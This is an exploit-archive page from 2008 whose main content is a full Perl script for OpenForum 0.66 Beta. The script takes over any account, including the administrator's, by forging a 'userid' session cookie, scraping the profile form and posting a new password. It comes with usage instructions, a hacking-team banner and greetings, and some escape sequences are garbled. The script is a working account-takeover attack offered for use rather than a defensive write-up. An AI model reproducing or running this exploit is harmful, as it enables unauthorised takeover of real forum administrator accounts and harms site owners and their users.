[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : OpenForum 0.66 Beta Remote Reset Admin Password Exploit
# Published : 2008-11-29
# Author : CWH Underground
# Previous Title : Active Bids 3.5 (ItemID) Blind SQL Injection Vulnerability
# Next Title : Gravity GTD <= 0.4.5 (rpc.php objectname) LFI/RCE Vulnerability


#!/usr/bin/perl -w
#========================================================
#OpenForum 0.66 Beta Remote Reset Admin Password Exploit
#========================================================
#
#  ,--^----------,--------,-----,-------^--,
#  |  |||||||||   `--------'    |	   O	  .. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#   `_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `   /
#    / XXXXXX /______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE : 29 November 2008
#SITE : cwh.citec.us
#
#
#####################################################
#APPLICATION : OpenForum
#VERSION : 0.66 Beta
#DOWNLOAD : http://downloads.sourceforge.net/openforum/openforum066.zip
######################################################
#######################################################################################
#Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

use LWP;
use HTTP::Request;
use HTTP::Request::Common;

print "n==================================================n";
print " Openforum 0.66 beta Remote Reset Admin Password exploit n";
print " n";
print " Discovered By CWH Underground n";
print "==================================================n";
print " n";
print " ,--^----------,--------,-----,-------^--, n";
print " | ||||||||| `--------' | O n";
print " `+---------------------------^----------| n";
print " `_,-------, _________________________| n";
print " / XXXXXX /`| / n";
print " / XXXXXX / ` / n";
print " / XXXXXX /______( n";
print " / XXXXXX / n";
print " / XXXXXX / .. CWH Underground Hacking Team .. n";
print " (________( n";
print " `------' n";
print " n";

if ($#ARGV ne 2) {
	print "Usage: ./openforum.pl <url-to-index-page> <user account> <new password>n";
	print "Ex. ./openforum.pl http://www.target.com/openforum/index.php admin cwhpassn";
	exit();
}

$url = $ARGV[0];
$user = $ARGV[1];
$newpass = $ARGV[2];

if ($url !~ /^http:///) {
	$url = "http://".$url;
}

print "[+] Target url: ".$url."nn";

$req = HTTP::Request->new (GET => $url);
$req->header (User_Agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18');
$req->header (Accept => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
$req->header (Accept_Language => 'en-us,en;q=0.5');

$ua = LWP::UserAgent->new;
$response = $ua->request ($req);

if ($response->code ne 200) {
	print "Error: Could not request for index pagen";
	exit ();
}

$header = $response->headers->as_string;

($sessid) = $header =~ /sessid=(.+)n/;
print ":: Retreive session id ::n";
print "[+] ".$sessid."nn";

$url =~ s/index.php$/profile.php?user=$user/;

#print $url;



$req = HTTP::Request->new (GET => $url);
$req->header (User_Agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18');
$req->header (Accept => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
$req->header (Accept_Language => 'en-us,en;q=0.5');
$req->header (Cookie => 'sessid='.$sessid.'; userid='.$user);

$response = $ua->request ($req);
if ($response->code ne 200) {
	print "Error: Could not request for ".$user."'s profile pagen";
	exit ();
}

$content = $response->content;
$update = "1";
$adminaction = "";
($email) = $content =~ /"email" value="(.*?)"/;
($signature) = $content =~ /"signature">(.*?)</textarea>/;
$day = "";
$month = "";
$year = "";
($website) = $content =~ /"website" value="(.*?)"/;
($name) = $content =~ /"name" value="(.*?)"/;
($phone) = $content =~ /"phone" value="(.*?)"/;
($city) = $content =~ /"city" value="(.*?)"/;
($location) = $content =~ /"location" value="(.*?)"/;
$sytle = "";
$submit = "Update!";


print ":: Update new password ::nn";
$url =~ s/?user=admin//;


$response = $ua->request (POST $url,
		User_Agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18',
		Accept => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
		Accept_Language => 'en-us,en;q=0.5',
		Cookie => 'sessid='.$sessid.'; userid='.$user,
		Content_Type => 'form-data',
		Content => [update => $update, user => $user, adminaction => '', email => $email, signature => $signature, website => $website, name => $name,
				phone => $phone, city => $city, location => $location, password => $newpass, submit => $submit]
);

if ($response->code ne 200) {
	print "Error: Could not request for profile pagen";
	exit ();
}

$content = $response->content;

if ($content =~ /<br>updated<br><table width="100%">/) {
	print "[+] Exploit Successn";
	print "[+] New admin's password: ".$newpass."n";
}
else
{
	print "[+] Exploit Failedn";
}

# www.Syue.com [2008-11-29]